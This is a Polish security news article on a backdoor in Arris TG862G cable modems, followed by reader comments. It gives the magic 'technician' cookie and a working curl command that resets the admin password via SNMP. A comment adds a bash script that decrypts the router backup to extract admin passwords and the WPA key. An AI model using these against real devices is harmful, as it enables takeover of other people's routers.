Tylne furtki w domowym sprzęcie służącym do łączenia się z siecią nie przestają nas zaskakiwać. Czy twórcy oprogramowania naprawdę myślą, że nikt ich nigdy nie znajdzie? Tak się wydaje w przypadku modemu Arrisa.
Redaktor serwisu Console Cowboys znalazł bardzo ładną, łatwą do odkrycia tylną furtkę w modemie kablowym firmy Arris. Model TG862G był swojego czasu rozprowadzany w Polsce przez Vectrę, choć nie mamy pewności, czy furtka występuje również w polskiej wersji oprogramowania. Tak czy inaczej warto się jej przyjrzeć.
Chodź, dam Ci ciasteczko
Autor odkrycia zaczął od stwierdzenia, że wszystkie polecenia wydawane modemowi przez interfejs WWW muszą zawierać odpowiednie ciasteczko (co w całkiem niedawnej wersji oprogramowania nie było jeszcze regułą). Spójrzmy na rzeczone ciasteczko:
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
Wygląda jak base64, prawda? Odkodujmy zatem jego zawartość:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Zaczyna wyglądać ciekawie. Odkodujmy jeszcze zagnieżdżone base64:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
No tak, login i hasło przesyłane w trywialnym kodowaniu przez HTTP, czego mieliśmy się spodziewać. Co jednak stanie się, jeśli zmienimy wartość „technician” z „false” na „true”? Niestety nic. Autor odkrycia jednak się nie poddawał i po kilku różnych próbach trafił na właściwe parametry. Tylna furtka kryje się pod następującym żądaniem:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
czyli
{"credential":"technician:"}
Tak, login „technician” bez hasła. Niestety jednak okazuje się, że za pomocą takiego zestawu danych nie można zalogować się do interfejsu WWW rutera. Co zatem można zrobić? Należy pamiętać, że interfejs WWW to tylko przekaźnik poleceń dla skryptów CGI, które odczytują lub ustawiają wartości SNMP, przechowujące konfigurację urządzenia. Kiedyś skrypty można było wywoływać bezpośrednio bez autoryzacji, jednak ta „funkcja” została już poprawiona kilka lat temu. Czy jednak można je wywołać przy użyciu „magicznego ciasteczka”?
Jak widzicie, można bez problemu odczytać konfiguracje modemu. Próba zmiany hasła administratora przez interfejs WWW niestety wymaga znajomości starego hasła (którego poprawność jest sprawdzana!), jednak co się stanie, jeśli spróbujemy zapisać wartość hasła bezpośrednio przez SNMP?
Tak, bez problemu można ustawić nowe hasło administratora. Po wykonaniu tej operacji można już zalogować się do interfejsu WWW za pomocą nowego hasła.
Dla ułatwienia całego procesu oto polecenie, które automatycznie ustawi żądane hasło administratora w modemie Arrisa:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Jeśli macie podobny lub identyczny sprzęt tego producenta, przetestujcie u siebie (nie u sąsiada!) i dajcie znać, jakie były efekty. A my idziemy płakać nad stanem bezpieczeństwa modemów i ruterów.
Komentarze
Napisalibyście jak można dostać się do netiaspota, bo nie chce mi się rozkręcać routera, a potrzebuję go odblokować
RCE z tego co wiem nie było. Ale zawsze możesz zapytać Maksymiliana :)
https://zaufanatrzeciastrona.pl/post/bledy-w-ruterze-netia-spot/
Czy ludzie odpowiedzialni nie powinni przypadkiem iść do więzienia za celowe narażanie bezpieczeństwa użytkowników?
Nie powinni iść do więzienia. To jest ich soft. Jak nie podoba się – nie kupuj. Co innego jak ktoś będzie cię snifował albo podmieni ci dns-y itp. Wtedy można już iść do sądu po odszkodowanie, a skur*ów posłać za kratki.
Nie do końca „nie podoba się – nie kupuj”, to jest modem kablowy, który ludziom wciska kablówka… Nawet jeśli uda ci się kupić inny (a nie ma tego sprzętu duzo w wolnej sprzedaży) to potem rózne kombinacje trzeba robić, żeby działało.
A w więzieniu nie powinni siedzieć, zamiast tego powinno im się zabrać cała wypłatę, kupić za to chińskich tabletek na powiększanie detali anatomicznych i kazać się tym żywić przez miesiąc.
Mam ten modem. Jakiś czas temu, gdy zobaczyłem, że ma firmware z 2009 roku, zastanawiałem się, kiedy nadejdzie ta chwila, że wejdę na z3s i zobaczę smutną wiadomość.
Mam w/w modem od 2 miesiecy… po przeczytaniu artykułu zapytałem firmę Vectra SA i prosiłem ich o wymianę na modem kablowy:
W związku z pojawieniem się artykułu: https://zaufanatrzeciastrona.pl/post/prawie-sprytna-tylna-furtka-w-modemie-kablowym-arrisa/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ZaufanaTrzeciaStrona+%28Zaufana+Trzecia+Strona%29 Czy są w stanie Państwo zapewnić bezpieczeństwo moich danych które przesyłane są przez Państwa router?
Odpowiedz:
Mając na uwadze opisaną przez Pana sytuację informujemy, że Pana zgłoszenie zostało przekazane do odpowiedniego Działu, który udzielił wyczerpującej informacji odnośnie Pana wątpliwości. Wyjaśniamy, że sam artykuł jest dość nieprecyzyjny. Jego autor zapewne nie sprawdził poprawności tej informacji. Należy pamiętać, że modemy w Stanach Zjednoczonych oraz Europie mają inny soft. Model, o którym mowa w artykule to zupełnie inna rodzina modemów niż te, które udostępniane są przez firmę VECTRA SA. Jednak dla pewności został wykonany test bezpieczeństwa, który zakończył się pomyślnie. Tym samym, jeśli chodzi
o bezpieczeństwo danych, przesyłanych za pośrednictwem modemu Wi-Fi udostępnionego przez firmę VECTRA SA, to takie połączenie jest odpowiednio szyfrowane. Mając powyższe na uwadze informujemy, że problem nie dotyczy modemów udostępnianych przez firmę VECTRA SA, a firma Vectra SA zapewnia bezpieczeństwo przesyłanych danych.
W moim modemie TG862S od Vectra udało się zalogować za pomocą hasła dnia z linka gdzie dostępny jest generator (poniżej).
http://192.168.0.1
Login: admin
Hasło:
http://www.borfast.com/projects/arris-password-of-the-day-generator/generator
… nie trzeba się bawić w jakieś łamanie hasła … proste jak drut
Hej. Tylko, że samo zalogowanie na niewiele się zdaje. Mi się udało dojść do hasła metodą prób i błędów i nie jest jednorazowe :) tyle tylko, że nawet jak poustawiam wszystko po swojemu, to ustawienia te działają TYLKO do momentu wyłączenia tg862. Po ponownym włączeniu modemu, z sieci leci plik konfiguracyjny i wszystkie ustawienia przestawiają się na domyślne-vectrowe :/ Co ciekawe po włączeniu routera przez moment udało mi się zalogować do wifi moimi hasłami, tymi zmienionymi, ale potem już poleciał config z Vectry i lipa… Teraz lamerskie pytanie-może jest jakaś opcja na to, żeby zablokować ściąganie tego pliku, albo żeby sieć myślała, że router jest ciągle podłączony?
Mam ten router, i teraz chętnie to przetestuje jeżeli mnie pokierujecie bo jestem zielony
Instrukcja jest w artykule, jeśli zbyt skomplikowana to musisz zacząć od podstaw :)
wlasnie to powiedz Adamie od czego zaczac ? sciagnac program do odkodowania tyxh cyferek nie kazdy zna sie na kodowaniu i informatyce jak Ty a ja tam nie widze zadnej instrukcji tylko jakies dzialania pewnego Pana, czym to zrobil i jak nie ma nic napisane.
Macie problem to zadzwoncie do Vectry niech wam zbridgują ten router na interfejsie WAN-LAN ja tak zrobiłem i bez problemu z tym, ze za nim mam podłączony swoj router. Konfiguracji nie zmienisz bo jak kolega wyzej napisal ze to co zrobi w adminie nie przynosi rezultatu poniewaz router pobiera konfigurację każdorozowo z serwera TFTP i wrzuca ja do pamięcie routera. Ten link do generowania hasel jedndniowych tzn algorym na tej stronie dziala .
Hasła do routera TG862 można poznać bardzo łatwo. Poniższy skrypt umożliwia wyciągnięcie haseł do kont admin i technician oraz hasła do wifi.
——————–
#!/bin/bash
wget -q http://192.168.0.1/router.data -O router.data
openssl aes-256-cbc -d -in router.data -out router.tgz -pass pass:Sercomm
tar -xzf router.tgz &>/dev/null
chmod a+w,a+r backup/*
php -r '$f=fopen(„backup/sc_nvram.sc”,”r”);while(false!==($c=fgetc($f))){$r=($c^”\xAA”);if($r==”\x00″) echo „\n”;else echo $r;}’ > sc_nvram.txt
user0=`fgrep sysAdmin[0] sc_nvram.txt | cut -f 2 -d „=”`
pass0=`fgrep sysAdminPassword[0] sc_nvram.txt | cut -f 2 -d „=”`
user1=`fgrep sysAdmin[1] sc_nvram.txt | cut -f 2 -d „=”`
pass1=`fgrep sysAdminPassword[1] sc_nvram.txt | cut -f 2 -d „=”`
ssid=`fgrep wifiBssid[0] sc_nvram.txt | cut -f 2 -d „=”`
wpa=`fgrep wifiWpapsk[0] sc_nvram.txt | cut -f 2 -d „=”`
echo „$user0:$pass0”
echo „$user1:$pass1”
echo „SSID:$ssid”
echo „WPA-PSK:$wpa”
rm -f router.data router.tgz sc_nvram.txt
rm -fr backup
siwma ja brutalem połamałem hasło ale wychodzi admin/admin i nie wchodzi i mam pytanko jak korzystac z tego generatora bo zielono mi :)
a właśnie mam takiego jeden problem chciałbym aby ruter podawał mi zewnętrzne ip nie wewnętrzne jak to skonfigurować w ruteże jak mam już hasełko dnia ?
U mnie jest ciekawiej. Mam ten router z MM.
Widzę że adres routera to 192.168.0.30
i nawet nie mogę się wbić…
Może jakaś porada?
Mi udało się wejśc do setupu modemu Arris TG862 przez strone http://http://192.168.0.1/
A aktualny adres generatora hasła http://tylerwatt12.com/potd/
Pytanie , czy można samemu zmienić hasło ? Czy jest ono już z gory nadane i nie zmienne ? Czytałem ze po każdym włączeniu i tak importuje stare hasła z Vectry , trzeba do nich dzownić i prosić o zmianę czy to w ogóle nie możliwe ?
Mi udalo sie obejsc ustawienia nalezy odloczyc kabel antenowy zresetowac caly modem do domyslnych ustawien i jak wyzej 192.168.0.1 admin i haslo z generatora juz dokladnie nie pamietam jaka to byla opcja ape trzeba bylo cos odznaczyc zeby nue pobieral danych od operatora sieci i wtedy sobie ustawiamy swoje nazwy sieci i hasla co ponadto w moim przypadku w tym modemie wylaczylem sobie wogle wifi i przelaczylem router jako zwykly modem bo potrzebny mi byl zew adres ip a ten router daje tylko adres wewnetrzny postawilem swoj router i mam problem z glowy.
Przecież każdą z tych rzeczy, standardowo każdy ma możliwość ustawić na stronie i niczego obchodzić nie trzeba, może to stąd ten sukces.;-)
Już dokładnie nie pamiętam jaka to była opcja ape trzeba było coś odznaczyć żeby nie pobierał danych od operatora sieci
Coś, gdzieś, jakoś
fajnie